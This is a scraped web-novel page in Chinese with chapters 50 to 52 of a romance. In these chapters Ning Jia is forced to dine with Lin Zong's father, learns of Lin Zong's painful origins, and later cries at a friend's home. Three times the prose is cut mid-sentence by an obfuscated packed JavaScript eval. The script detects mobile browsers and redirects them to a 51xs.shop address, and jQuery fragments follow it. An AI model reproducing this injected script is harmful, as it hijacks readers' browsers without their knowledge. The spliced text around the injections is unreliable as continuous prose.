宁嘉摇了摇头,林纵便也没有多问,把宁嘉往上颠了颠,主动解释说:“你刚刚滑下来了。” “好吧。”宁嘉说。 好吧,宁嘉又想,他只是有点在意林纵那天为什么不来而已,毕竟他是大家的学长,他不知道为什么,林纵不来大家都在的聚会。 以宁嘉这点酒量,喝了酒,第二天连点宿醉的条件都没有,头不疼,精神也倍儿好。 他从床上爬起来的时候,林纵还在睡,于是宁嘉半趴着,像他家富贵似的,探出个大脑袋盯着林纵。 大概是感受到床边有人气,林纵睁开了眼。 林纵:“......” 宁嘉一张放大的脸的近在咫尺,眨巴眨巴眼看着他,看见林纵醒了,宁嘉还笑起来,很高兴地说:“学长,你醒啦。” 林纵觉得宁嘉是没醒,看着像是还醉着,不清醒。 林纵手指点着他的脑袋,把人推开一点,想的不是他醒的比宁嘉晚肯定是睡过头了,而是问:“昨天晚上发生了什么,你还记得吗?” 宁嘉震惊,立马撩开被子看身上,左右看看,上下看看,好像没多什么不该多的东西,惊恐:“学长,你做了什么吗?” 林纵:“?” 宁嘉笑嘻嘻,兀自乐起来:“你做什么也没事,又不是没做过,有名有份的不是,嘿嘿。” 林纵:“......” 林纵于是得出结论:宁嘉还醉着,昨晚的事也忘了。 林纵叹了口气,像是庆幸,又觉得可惜。 宁嘉照常去上班,中午在办公室吃外卖,忽然一阵阴风袭来,宁嘉身后站了只傻狗:“每天吃这种东西,看起来你也过得不怎么样啊。” 宁嘉简直头大,看傻子似的看向林少:“你是闲得慌吗?不用上班,每天来我公司骚扰我有意思吗?” “挺有意思的,”林少被骂的笑起来,然而宁嘉的脸色是冷的,好像不高兴,他只好收了笑脸,说道,“你在背后搞的那点破操作什么时候停?” 宁嘉面无表情:“对你有影响?” 林少说:“没什么影响。” 宁嘉:“那你管我。” 有关林少的那点网络热度一直没有随着时间而消失,除了江软,林纵和闻凯也在暗戳戳地伸手。 这件事对林少来说确实没什么影响,该知道的人都知道了,林平生也知道了,他也被骂过了削过了。 但林平生还是觉得丢人,热度不下,便会永远有人对林家心怀好奇,背地里议论不断,林平生自己的人生已经不干净了,他永远带着林纵并不在意这样的目光,可林少得是干净的,不能被扯进这样的事情里。 宁嘉这脾气真是越来越招林少喜欢,林少嬉皮笑脸地和他解释:“我不想管你啊,我无所谓,最好我被口水淹了,反正你在里面陪我游泳。” 宁嘉简直被恶心死了。 但林少又说:“这不是我爸在意吗,他让我邀请你去我家吃晚饭啊,今天。” 林少不是什么好鸟,林平生就是吗? 宁嘉不耐烦道:“不去,没空,你这么闲来我公司找我,不如早点找我老公,给他道个歉,这件事就过去了,我们很好说话的。” 林少沉下脸:“敬酒不吃吃罚酒。” 宁嘉冷漠:“滚!” 紧接着,宁嘉吃了林少一记暴栗就在后脑勺,宁嘉捂头,凶神恶煞地看过去,林少微笑道:“但是我喜欢。” 宁嘉:“......去死吧你。” 林少走后,宁嘉对着饭菜食不下咽,给林纵发消息:林少又来了,你不能给他介绍一家性价比高的精神病院吗? 上班时间,宁嘉很少给林纵打电话,都是以发消息为主,不过宁嘉又想想,他其实很少给林纵打电话,唯一一次,可能就是问林纵要不要结婚。 林纵立马回了电话过来,看样子是不忙,他说:“他怎么你了?” 宁嘉捂着脑袋,大声吐槽:“他打我,他好油腻,他说他喜欢我。” 林纵:“......” 宁嘉又觉得这话说的不太合适,连忙又说:“他说林平生今天要见我。” “你答应了?”林纵的声音很平静。 “没有。”宁嘉立马说,“我才不想见那个糟老头子。” 然而林纵也了解宁嘉的为人,知道他永远只会让自己受委屈,背地里说着那些伤害他的人无关痛痒的坏话,可伤都是他自己在受。 宁嘉不喜欢,往往也不会拒绝,林纵问:“真的没答应吗?” 宁嘉曲解了林纵的意思,解释得很着急:“当然是真的,学长。我知道他找我没什么好事,你不希望我去的话,我肯定不会去的,你放心好了。” 也行吧,宁嘉这样觉得也好,至少他是在意林纵的。 林少应该不会再找宁嘉麻烦了,但他那个心思也挺麻烦的,林纵想了想说:“这两天我找个机会和他谈谈。” 宁嘉说:“不用啦学长,我自己和他说吧,我知道你不想见他。” 这件事哪怕是换到闻凯身上,林纵也不会管,不稀罕搭理林少是一回事,他身边的人应该具有应付能力又是另外一回事,但这些事在宁嘉这里通通不做数。 宁嘉总是想护着林纵,林纵也没有阻止,他不会说不用,他不在意林少,他想要宁嘉对他毫无底线的偏爱。 林纵便不再谈这个:“吃饭了吗?” 不说宁嘉还不生气:“你说这人是不是脑子有病,天天在我吃饭过来的时候倒我胃口!” 林纵说:“不想吃就不吃了,再给你点别的,要喝冰奶茶吗?” “要要要!”宁嘉高兴坏了,“多冰,不要珍珠。” 喝到冰奶茶后,宁嘉的心情大好,更酷炫的是林纵不止给宁嘉买了喝的,还给他们公司其他人都买了奶茶。 宁嘉:[图片][图片][图片] 宁嘉:都是姓林的,为什么差别这么大? 江软已经从宁嘉听到了事情的始末,听到宁嘉有奶茶后,给自己也点了一杯,随后一想,果断全公司请客。 神气个啥,爷有钱,爷自己买,爷自己请客。 下班时,喝光的那个奶茶杯被宁嘉从公司带到楼下,因为忘记,直到走到路边的垃圾桶旁才想到要扔。 走到距离垃圾桶一米多远的地方,宁嘉停下脚步,做了个抛球的动作,中了。 “酷!”宁嘉自夸道。 一辆车跟着宁嘉挪了五十米,慢慢停在他身边,车窗滑下,林平生一张笑脸露出来:“好玩吗?” “林叔叔?”宁嘉那虚伪的人格又冒了出来,他在江软那里听说了林平生这么多年的行径,对他并没有好感,可对着这张脸他又不能想对着吴良仁那样充满厌恶。 很多东西,不是亲身经历,好像永远不会懂。 林平生对宁嘉的印象不好,觉得这小孩没有教养没有礼貌,没大没小,特别在两个儿子为他争风吃醋这一点来看,林平生只觉得宁嘉糟透了,更别提后来竟然敢用舆论对林家下手。 可宁嘉的笑脸没有收,他因为扔准一个破瓶子感到高兴,灿烂的笑容面对林平生,喊他叔叔。林平生有一瞬间晃了神,觉得宁嘉也没那么糟糕,冷不下脸再凶他:“晚上找你吃饭还不来。” 宁嘉错愕:“我以为林少开玩笑的。” 林平生冷哼一声,不像不高兴:“现在你知道了,上车吧。” “不不不,”宁嘉的原则不能丢,他答应过林纵的,不会私底下见林平生,他也不想在林纵不知道的情况下被迫知道很多关于林纵的事,这不是好事,宁嘉连连后退,摆手,“学长说他要来接我的。” 林平生朝前座使了个眼神,司机和保镖下车,连拖带拽把宁嘉扔上车,林平生让了让位置,笑说:“那让他来家里接你就行。” 车上,宁嘉拿出手机,想要给林纵通风报信,林平生没有拦着,反而说:“刚好,让他来家里一起吃个饭。” 宁嘉不想随了老狐狸的意,把手机又塞了回去。 林平生还是笑,仍然没有说什么,林纵这会儿正被林少纠缠着,不管来不来,都不会那么快过来。 林平生是生意人,知道什么场合该说什么样的话,眼下他刻意冷着宁嘉,漫长的行车时间,他一言不发,闭着眼惬意的休息。 车窗紧闭,宁嘉在这样的气氛下,呼吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665826|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逐渐急促,他不想要着急的,却不知道为什么,慢慢变得紧张,无法思考。 林家餐厅,林平生面带微笑,示意宁嘉:“坐吧,找你过来,就是吃顿饭,不用那么紧张。” 宁嘉挪开椅子坐下,没忍住说:“糟老头子。” 林平生怒目而视。 宁嘉垂下眼当没看见。 老头子气死。 菜上完后,餐厅里静下来,偌大的空间里只有宁嘉和林平生身处其中,林平生姿态放松靠着柔软的椅背开口:“林纵八岁那年来的林家,这些年他要什么我给什么,这孩子,不知道为什么,就是对我亲不起来。” 换做平时,宁嘉早就反驳了,这会儿他不知道林平生葫芦里卖的什么药,索性不说话。 “不知道林纵有没有和你说过,他的亲生母亲也是那一年去世的,癌症晚期。” 刹那间宁嘉瞪大了眼睛。 林平生露出果然如此的笑容。 “因为养不起,没办法再照顾,她来找我,求我替她照顾林纵。” 求。 林平生的字眼让他变得高高在上,看着宁嘉像是在说,你看啊,我都对他这么好了,他还这么不识相。 “可林纵和我不亲啊,”林平生叹气,“可能在他母亲那里待久了,养不熟,不管我对他多好,对想和他亲近,他都不把我当做他的爸爸。” 宁嘉皱着眉,忍无可忍地说:“你不用那么阴阳怪气的讲话,我听得懂,你就是想说自己好,学长不好,所以你那些过分的事情都情有可原,觉得我是外人,我不懂,想我替学长原谅你。” 林平生改变主意了,宁嘉一点都不讨人喜欢,这小孩讨厌的要命,他的话还没有说完,宁嘉就知道他想要表达什么了。 林平生面色不改,接着说:“他妈妈去世的时候,葬礼还是我给办的,我给她买了予市最好的墓,林纵不肯非要把人带回老家。” 宁嘉:“......” 察觉到宁嘉的表情,林平生笑着解释:“那么重的骨灰盒,他就那么一直捧在怀里,山路难走,他实在抱不动,才让别人帮的忙。” “别说了。”宁嘉的声音发着抖,这是他不想要知道的林纵的一面,他不想要知道林纵的狼狈和不堪,那可能也是林纵不想要面对的过去。 林平生却还是笑,拿捏宁嘉这样的人太容易了。 “他来到我身边的时候已经八岁了,只知道自己有妈妈,不想认我这个父亲,这些年他一直和我不亲,我都可以理解。”林平生看着宁嘉,以一个父亲的角度很认真地问,“但是嘉嘉,你说真的有父亲不爱自己的小孩吗?” 宁嘉那个赌鬼父亲都是爱宁嘉的,他会给宁嘉做蛋炒饭,会让他骑在肩上,会给他买玩具,也会在他惹妈妈生气的时候替他哄妈妈。 宁嘉却摇头,声色厉苒地瞪着林平生:“你有家庭,有妻子,有小孩。你说你爱林纵,你却把他变成一个私生子,让他永远活在这样的标签下,你怎么敢说他是他父亲。” 这些年总是有人用这样的道德约束林平生,企图说他一句不好,但林平生从来不在意:“嘉嘉,你也是男人,我只是爱林纵的母亲,这很难理解吗?” 宁嘉差点想拍桌:“那林少的母亲呢?!” 林平生说:“也爱呢。” 宁嘉:“你胡说!” 皮鞋踩在地面上的声音明显,一声一声,清脆的镇定的脚步声响起,林纵缓缓出现在宁嘉的视线里,不紧不慢地靠近,他的脸上出现和林平生相似的笑容。 宁嘉慌张地站起来,深知自己做错了事,知道了不该知道的东西,他不该来这里见林平生。 宁嘉小心翼翼地贴到林纵身边,拉着他的衣角:“学长......” 林平生势在必得,笑容满面:“林纵也来啦,一起吃饭吧。” 林纵却笑笑:“我不是来吃饭的。” 林平生笑问:“你来干什么呢?” 这么多年来,林纵或许都没有这样和林平生对视过,他不愿意,也不屑得和林平生有这样的交流。 某一瞬间,周遭空气都凝固了,安静到落针可闻。 林纵看向林平生,笑意温柔:“我是来提醒你的,爸爸。” 林纵从来没有喊过林平生爸爸,听到这一声林平生却毫无触动:“哦?” 林纵说:“爸爸,你忘了啊,我是奸生子。” 51. 第 51 章 林平生在宁嘉面前说的那么富丽堂皇,却忘了一件最重要的事——林纵不是正常出生的孩子,他不愿意出生,他的母亲也不愿意他出生。 林平生说爱,想要林纵对父亲的爱,说着自己对林俏俏的爱,却不记得了,林俏俏这个人从来都不是属于他的。 林俏俏从来不情愿。 若说是求,林俏俏第一次求林平生,就是求他放过她,但林平生没有,因为他所谓的,爱林俏俏。 宁嘉连手指头都在抖,抓不住林纵的手,他再也克制不住自己的情绪,在林平生面前佯装的镇定在这一刻通通不作数。 宁嘉没有办法,也无法控制自己的情绪。 他不敢看林纵,只抓住他的衣角,抬眼,和林纵站在同一战线下,才敢去看林平生。 林平生,一个道貌岸然的伪君子,在那一瞬间被他的亲生儿子撕去了伪装,堆叠的自以为胜券在握的笑意,像本就不稳固的墙面般遽然坍塌,难以置信地望向林纵。 震惊、恐惧、绝望,仿佛一瞬间衰老。 原来林纵什么都知道啊,他想。 这些年来,林平生的自信都源于林俏俏的离去,自以为二十多年前的秘密跟着林俏俏的离世都彻底无人知晓。 但原来是这样啊。 一切都变得有迹可循。 这些年林平生对林纵确实是好,不介意林纵的身份,不在意他人的眼光强行带林纵出席各种社交场合。 闻家的小子林平生当然也知道,事实上闻家对待私生子的态度才是他们这种身份该拥有的。 林平生以为自己足够溺爱了,因为林纵的性子像极了林俏俏,他们之间才会是这个样子。 但原来都不是。 “你怎么知道的?”林平生坐不住了,急匆匆站起来。 等不到林纵的回答,林平生着急地问:“俏俏告诉你的?” 有时候喜欢真的是件不讲道理的事情,当年的林平生就和如今的林少一样,毫无缘由地喜欢一个人,迫切地想要得到。 要得到,得不到就要毁掉,真正把人毁掉后又开始惦记,无论过了多少年都没能忘记。 对于林平生而言,林俏俏就是他无论过了多少年还想要的白月光。 林平生以为林俏俏对他是有爱的,哪怕是一点点,因为她最后时刻找的人是他。 这么多年林平生带着林纵到处作秀一样的行为无非是在炫耀,炫耀这是林俏俏给他生的儿子。 直到此刻,他才幡然醒悟,林俏俏原来是恨他的,她甚至把那样的恨意传达给了她的儿子。 “你恨我是不是?” 林平生迟来的想要得到一点父爱,因为从林俏俏身上得不到,他终于想着从对方的儿子身上得到。 林平生急切地想要靠近林纵:“林纵!” 宁嘉连忙拦在林纵身前,像只护犊的母鸡,怒气冲冲,不让林平生接近林纵一步:“你理林纵远一点!” 林平生竟然真的不敢靠近,他站在被宁嘉隔开的空间外,仓促的迷茫的,似乎通过林纵的脸看到了林俏俏当年同样拒他于千里之外的模样。 林平生小心翼翼的,茫然地再次询问:“你恨我是不是?” 林纵皱起了眉,这么多年林平生还是第一次从他脸上看到这样的表情。 片刻后,林纵恢复他无悲无喜的模样,冷淡道:“没有其他事的话,我就带宁嘉先走了。” 宁嘉可以感觉到,林纵握着他的那双手掐得很紧,他几乎是被林纵拖着往前走的。 上了车,关上车门,密闭的空间下,林纵的呼吸逐渐趋于平缓。 宁嘉打量着林纵的脸色,匆匆忙忙地系上安全带,徒劳地解释:“是他把我抓过来的,我不想过来的。” 宁嘉简直快哭了:“学长,我什么都没有听见。” “你听见了。”林纵看着他,平静地说。 宁嘉:“......” 林纵看着宁嘉,重复道:“你听见了。” 宁嘉:“......” 宁嘉抓着林纵冰凉的手,急切地辩白:“我可以发誓,写保证书,我什么都不会说的。” 林纵的目光望向两人相贴的手上,却想:宁嘉都知道了,真好。他说过的,宁嘉知道了就不会再让他走了。 林纵从宁嘉的话里明白过来对方的意思,轻笑一声:“宁嘉,你可怜我啊?” 莫名的,宁嘉打了个哆嗦,林纵看向他的眼神很可怕,想是要把他拆骨入腹吞了。 宁嘉明明是害怕的,却又很诚实地点头。 林纵笑了起来,汽车启动,朝家的方向行驶。 回家的路上很安静,宁嘉不敢放歌,也没有说话,他不想,却无法控制自己,不去从林纵和林平生的话里思考很多。 到家的时候,宁嘉的表情已经变得很难看了。 “下车。”林纵说。 宁嘉却没反应过来,他没听见,甚至没动。 林纵的手指揉搓宁嘉的耳垂,宁嘉反应过来,惶恐地看过去。 “别瞎想了,”林纵动作不变,笑说,“不是你想的那个样子。” 那是什么样。 宁嘉抓狂地看着林纵,思绪纷乱,咬牙切齿。 林纵却不语,解了宁嘉的安全带,示意对方下车。 阿姨没做饭,林纵动作熟练地进了厨房,问宁嘉:“要吃什么?” 宁嘉摸不准林纵的心态了,他怎么是这个样子,他好像真的什么都不在意。 宁嘉以为这是林纵的表象,直到现在,才反应过来,林纵好像,就是这个样子的。 于是宁嘉也好像不在意了,像他答应过林纵的那样,忘记这件事。 “学长,你还没吃饭吗?”宁嘉问。 “嗯。”林纵耐心回答。 宁嘉在林家没吃任何东西,连口水都没能喝上,可问他吃什么,他又说不出来,他其实根本不饿。 宁嘉便露出他擅长的好像不懂得的样子,林纵于是懂了,宁嘉挑食。 他面向冰箱里的菜,其实也没什么兴趣下厨,却笑说:“那随便吃一点吧,煮点面吃。” 宁嘉点点头,不等林纵说,就搬了张椅子坐在餐厅门口。 他安静漂亮,像家里角落闲置却不舍得扔的洋娃娃,就那么沉默的一句话都没有说的陪着林纵。 不知道从什么时候开始,林纵睡觉的时候就很喜欢抱着宁嘉,这天晚上,宁嘉突然想到,最开始他甚至是背对着林纵睡的,从某个连他自己都忘记的时间开始,睡觉的姿势变了,而林纵会抱他很紧,在那样的长夜里,宁嘉没有因为不适应失眠过。 今天晚上,却是个例外。 宁嘉失眠了。 他从林纵怀里翻了个身,注视着未关紧的窗帘间透进来的苍白的月光。 宁嘉睁开眼看着,只觉得这样的长夜有一点陌生。 第二天上班,同事看见宁嘉,开心地凑过去,明明是邀请人一起吃饭,言语间又仿佛藏着别的意思:“宁嘉,中午和我们一起吃饭吗?” 宁嘉已经好多天没有和他们一起吃饭了,通常是因为同事之间需要多交流培养感情,也因为吃饭想要多一个人AA,宁嘉就会拒绝林纵的外卖,转而和众人一起吃饭。 不过今天,宁嘉想了想,笑了下:“好啊,我和学长说一声。” “哎呀哎呀,”同事酸溜溜地,“你们俩感觉可真好,我也想要学长。” 宁嘉:“?” 同事连忙解释:“我想要老公!” 宁嘉:“??” 同事哭笑不得:“谁让你不喊你老公老公的。” 宁嘉:“???” 同事叹了口气,摇头,叹气,难顶:“姐姐我单身多年,有时候动了去幼儿园找老公的念头。” 宁嘉震惊地看着对方。 只听同事说:“自己的老公自己培养嘛。” 有道理,宁嘉点点头:“我老公不需要不培养。” 同事翻白眼,弹他脑门:“死丫头运气真好!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672661|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁嘉:“......不是很搞得懂你在说什么。” 中午一起吃饭,一群人笑笑闹闹,挤了两辆车,开到公司不远处的商城吃饭,饭桌间讨论起来,带了些笑:“这两天,天天刷到林少的新闻,今天好像没看到了。” 因为当事人就在身边,很多时候他们都不会去讨论这些事情,饭桌上总是不一样的,什么话都可以说,宁嘉听着也只是笑,他都快忘记这个事情了:“我都好几天没刷视频了。” 同事说:“别看,有什么好看的,他长得又没你老公好看,天天挂着张臭脸顶在热搜上,我看见就烦,也不知道谁在那边搞他没完没了的,早点让这种人下线不行吗?” 这话把宁嘉听笑了,一时间不知道该怎么说,树大招风应该就是这个道理,在外人看来林家财大气粗被人看不惯是很正常的事,只有宁嘉知道他只是想从林少那里得到一点可笑的尊重。 原来真的挺可笑的。 饭吃完才知道手机上有个未接电话,宁嘉神色暗了暗,回到公司,看到宁嘉桌上的外卖,同事的嘴角流出羡慕的泪水:“宁嘉,你还能吃啊?” 宁嘉诚实道:“吃不下了。” 同事反应过来:“你老公给你点的?你不是和他说了我们去吃饭吗?” 可宁嘉根本没说,从早上出门后,他就一直没和林纵说过话,以往上班无聊,还会忍不住和林纵吐槽两句,发个表情包:我二十几岁,我好累.jpg 大多数时候,林纵都是开完会才看到的消息,平平无奇的回了个表情包:上班太好了,有一种想死的感觉jpg 连总裁都想死,宁嘉平衡了,于是很开心地继续上班。 宁嘉把外卖放到一边,笑起来:“应该餐厅忘记了吧,挺好,我的晚饭有找落了。” 同事莫名地看了眼宁嘉,觉得这人今天有点奇怪,哪里奇怪,她又说不出来。 临下班,江软收到宁嘉的消息:你家等你。 江软:??? 宁嘉:赶紧。 江软:你没有老公的吗?[废物沉默了一下.jpg] 宁嘉:反正你没有。 江软:但是老子要约会啊。[老实巴交.jpg] 江软:最近泡到一个帅比,特别帅,再努力努力就要骗到手了,你别打岔。 江软:[花痴][花痴] 临下班,最忙的时候,宁嘉的每条消息都回的很快:你改天再骗。 这小汁,宁嘉这小汁,江软皱起眉头,这些结了婚的人就是难搞。没事结什么婚,抑郁的聊天连表情包都没有,江软这下支持宁嘉离婚了,如果真的没必要继续的话。 下班高峰期,红绿灯时间长车流量多,江软喇叭都快按坏了,也比不过做地铁不用堵车的宁嘉。 江软回到家的时候,电梯门打开,发现他家门口蹲了个人,听见动静,这人抬头,从表情和姿势来看都很抑郁。 江软赶紧开门,边开边说:“我不是告诉你密码了吗?你怎么不进去?” 宁嘉站起来,在他耳边凉凉地问:“你真的给我了吗?” 江软打开手机,一看聊天记录,陪笑:“抱一丝,抱一丝,潜意识发过了。” 宁嘉面无表情,游魂似的飘进屋子。 江软连忙开空调,拿饮料,从浴室里翻出条新毛巾给宁嘉擦满脸的汗,坐到他边上,喘了一口大气:“妈的,累死,我最近真的泡了一个帅比啊,你看不看照片,特好看。” 宁嘉蔫蔫的,萎了吧唧地,脑袋凑过去,搭在江软肩上:“看吧。” “咋肥事嘛你,”江软照片翻到一半,停了,“饿了?吃晚饭不?” 宁嘉摇摇头:“我想喝酒。” 江软:“?嘉嘉,人命只有一条哦。” 宁嘉眨眨眼:“我想抽烟。” 江软:“??嘉嘉,咱们不兴搞这个哦。” 宁嘉眼睛啪嗒一滴,十分流畅地落在江软肩上:“我想哭。” 江软:“......” 哎。 52. 第 52 章 宁嘉哭声惊天动地,没一会儿就打湿了江软的衣服。 江软唉声叹气,想想让宁嘉这么伤心的就那么两个人,不是许诗瑶就是林纵。 这一想,更叹气了,不明白这个世界上能让宁嘉在意的人只有这么少,为什么这些人还要让他伤心。 不过,江软拍拍宁嘉的肩,很从容地说:“别说,你还别说。” 宁嘉边哭,边:“?” 江软拍拍宁嘉的肩,感叹:“你现在这个样子,真是gay里gay气的,哥们我虽说是gay,但从来没有靠在谁的肩上哭过。” 宁嘉:“......” 宁嘉坐起来,怒视江软,眼泪汪汪,眼睛红红。 江软摸摸宁嘉狗头:“没事的,没事的,到这个时候你还要说自己是直男才有事呢。” 这是第一次,宁嘉没有反驳江软的话,他终于明白那些不承认的话并没有意义,那些感情不是他说不是就不是的。 宁嘉的情绪渐渐平复下来,抽泣了一会儿,便恢复冷静。 江软这才能够和他沟通,问:“你今天这是怎么了?” 宁嘉看着江软,因为这句话,眼睛竟然又泪汪汪的。 江软:“?” 宁嘉却不说,江软只好自己猜:“因为你妈?” 许诗瑶找林纵借钱这事确实烦人,自己妈长了张恋爱脑,无论如何只是在家里闹就算了。 宁嘉和林纵也算是组成新家庭了,一个全新的,他们都以为和过去无关的家庭。 许诗瑶却凭借的林纵的姓,忘了她逼宁嘉做过的事,竟然又要再一次,让宁嘉为了她的不合理的屈服。 这件事在江软看来简直匪夷所思,他的身边没有这样的人,成长环境的关系,他们也确实像林家那样极好面子,向晚辈借钱,这根本是不可能的事。 宁嘉摇摇头,索性借着这会儿的劲多哭了一会儿。 “呜呜呜啊——” 江软:“......” 江软于是知道了,这是因为林纵,可是为什么啊?林纵对宁嘉那么好,会有什么让他伤心的点? 江软试探道:“林纵欺负你啦?” 宁嘉:“啊啊啊——” 江软:“......” “他打你啦?” 宁嘉:“哇呜呜呜——” 江软:“......” 江软一拍大腿:“难不成林家终于受够你了,要让林纵和你离婚?” 宁嘉一抽一抽的,看二百五似的看着江软。 江软还在继续他的内心演绎:“然后你发现终于发现自己爱上林纵了,所以才这么伤心?” 宁嘉哽咽着,哭哭啼啼地吐槽:“全错!” 江软:“?” “那你到时候告诉我怎么回事嘛,下了班跑到我家就是一通哭,你知不知道爽约帅比是会生我气的。” 宁嘉用眼神谴责江软。 江软好没气地戳戳他胳膊:“快说快说。” 宁嘉不知道该怎么说,到现在,他还处于一想到就想哭的程度,眼泪比他的伤心更多,止都止不住。 江软再戳戳:“说说呢。” 宁嘉回想着,眼泪瀑布似的挂下来:“学长好可怜啊。” 江软这个人其实不太懂那些所谓的人情世故,可他却从宁嘉短短的六个字里意识到了什么,难得有分寸地问话:“嘉嘉,你是知道什么了吗?” 宁嘉泪眼朦胧地点头。 一时间,江软不知道该说什么了,这不是他该问的事情,连宁嘉都不想知道的事他更不想知道。 “哎。”江软只好叹了口气,因为不知道情况,安慰的话也说不出口。 好在宁嘉也没有想要江软的安慰,下班后急匆匆地过来,只是因为这个城市没有一个可以让他放心哭一场的地方。 如果许诗瑶身边没有吴良仁,或许她会有空听一听宁嘉无法说出口的情绪。 不过哭过一场就好多了,堵塞在胸口的情绪散了些,宁嘉终于没有眼泪可以流了。 擦了擦发红的眼角,和江软说:“我没事了,我要回家了。” 江软瞅着他,颇为肯定地说:“兄弟,我觉得你的眼睛得消消肿。” 宁嘉肿着眼睛,可怜巴巴地看着江软。 于是江软拿来让宁嘉擦汗的眼泪最后擦了脸,江软从冰箱中拿出冰块,让宁嘉裹在毛巾里敷眼睛。 宁嘉躺在沙发上,江软坐在一旁看着,老父亲般叹了口气,状似随意地问:“不过嘉嘉,你还要和林纵离婚吗?” 林纵一直是宁嘉一个人的学长,离开学校,除了宁嘉一口一个学长外,已经没有人那么喊他了,江软也不例外。 宁嘉从毛巾下露出一只眼睛:“要的。” 江软:“?搞什么?” 宁嘉想和林纵离婚不是因为许诗瑶吗?江软以为这件事他们已经解决了。 宁嘉的眼睛又藏进毛巾里,声音因为哭过有点沉闷:“我怕他觉得我在可怜他。” 因为可怜他,所以和他在一起,为了不让林纵觉得自己在被人可怜,所以宁嘉要和林纵离婚。 江软一个TB的脑子裂开,没明白:“嘉嘉,我怎么觉得你还是可怜他好一点呢?” 宁嘉:“?” 江软:“好歹你不会和他离婚了啊。” 同情、怜悯,与这些林纵长到这么大再熟悉不过的情绪比起来,江软觉得,对林纵而言,宁嘉应该更加重要。 不过显然,宁嘉根本不知道这一点,傻乎乎地问:“所以呢?” 江软龇牙,一把抽走毛巾:“滚滚滚,打车滚。” 宁嘉滚了,因为迫不及待想要见到林纵,打了个很贵的出租车。 回到家,宁嘉的眼睛还有一点红,林纵在客厅里坐着,边上坐着富贵,看见宁嘉的时候一人一猫动作整齐地转头:“回来了。” 宁嘉点头,走近,摸摸猫头:“学长,你吃饭了吗?” 林纵站起来,那么长一张沙发,非要把自己坐的位置让给宁嘉:“还没有,在等你,”他看向宁嘉,视线很短暂地停留在对方脸上,“我去做饭。” 厨房里有很轻的响动,林纵系上围裙,打开冰箱,他没有问宁嘉的意见,自己挑选了晚上要吃的东西。 林纵的表情很平静,实际上内心也是,他好像早就知道宁嘉会回来。 他不用给江软打电话,也不用等很久,他知道宁嘉会回来。 富贵在家等了宁嘉一天,好不容易看到人,正准备谄媚一番,尾巴尖勾着宁嘉的胳膊,毛茸茸的触感停顿。 紧接着,富贵被宁嘉一胳膊抓住,抱紧,动作毫无停顿地丢进猫房。 富贵落地,扭头,不满意地看向宁嘉:“喵!” 宁嘉关上了门,搬了张椅子坐到厨房门口,像昨天那样,他一声不吭地出现在林纵视线里,想要给对方的,仅仅是最简单的陪伴。 林纵做着饭,来来回回转头的时候总会看到宁嘉,而每一次,宁嘉都在看着他,很乖的样子。 然而让林纵没有想到的是,宁嘉表面上乖巧可爱,内心却在想:我现在不能让学长觉得我要和他离婚,而是要让学长觉得我很差然后要和我离婚。 但是宁嘉要怎么表现出自己差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687256|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢? 宁嘉陷入了深思。 这个状态一直持续到饭桌上,宁嘉还在很认真的思考,我这么优秀的人能有什么让学长不喜欢的地方呢? “在想什么?”林纵问。 宁嘉被吓了一跳,回过神,随口说:“学长,你今天做的菜有点咸了。” 林纵:“?” 一看林纵的表情,宁嘉就知道自己踢到铁板了,竟然说一个厨子厨艺不好,这个厨子还白天上班,晚上特地等着给他做饭。 宁嘉很愧疚,但不改,悄摸摸咽了口口水,他是勇士,他不会怂。 做饭的人不洗碗,林纵今天却没让宁嘉干,语气淡淡,好像真的生气了:“你去玩吧,我自己来。” 换做平时,宁嘉肯定是不肯的,他不舍得也不愿意让林纵心里有不好的情绪,可宁嘉今天是个勇士,勇士的头也很铁,他头也不回地走了。 富贵记吃不记打,等宁嘉过来的时候,已经忘了这人先前不仅不和它玩还把它扔回猫房的事,尾巴弯弯绕绕地缠上来,“喵喵”两声,像在说和我玩啊。 宁嘉摸着下巴,瞅着富贵尾巴下的两颗铃铛再次陷入深思,片刻后,他抱起富贵跑了。 谢天谢地,林纵还在厨房。 宁嘉心有余悸,又觉得很庆幸,想要把林纵一个人丢在那里,想要用冷漠把自己包裹起来,可怎么都不愿意让林纵经历这些。 林纵可以讨厌宁嘉,但不能是因为这样类似冷暴力的行为,像是被抛弃了一样。 “学长。”宁嘉鞋拖吧唧吧唧响,一路跑过来。 林纵还在收拾,手里拿着抹布擦桌子,抬眼:“嗯。” 宁嘉的眼睛不红了,脸上的笑也和平时一个样子,紧抱着一只迫不及待从他怀里要扑腾下来的猫,喘了口气,说:“学长,我刚想到一件事。” “什么事?”林纵问。 宁嘉把富贵往林纵肩上一丢,抢过抹布,边干活边说:“富贵打过疫苗了,可以做绝育了。” “喵?” 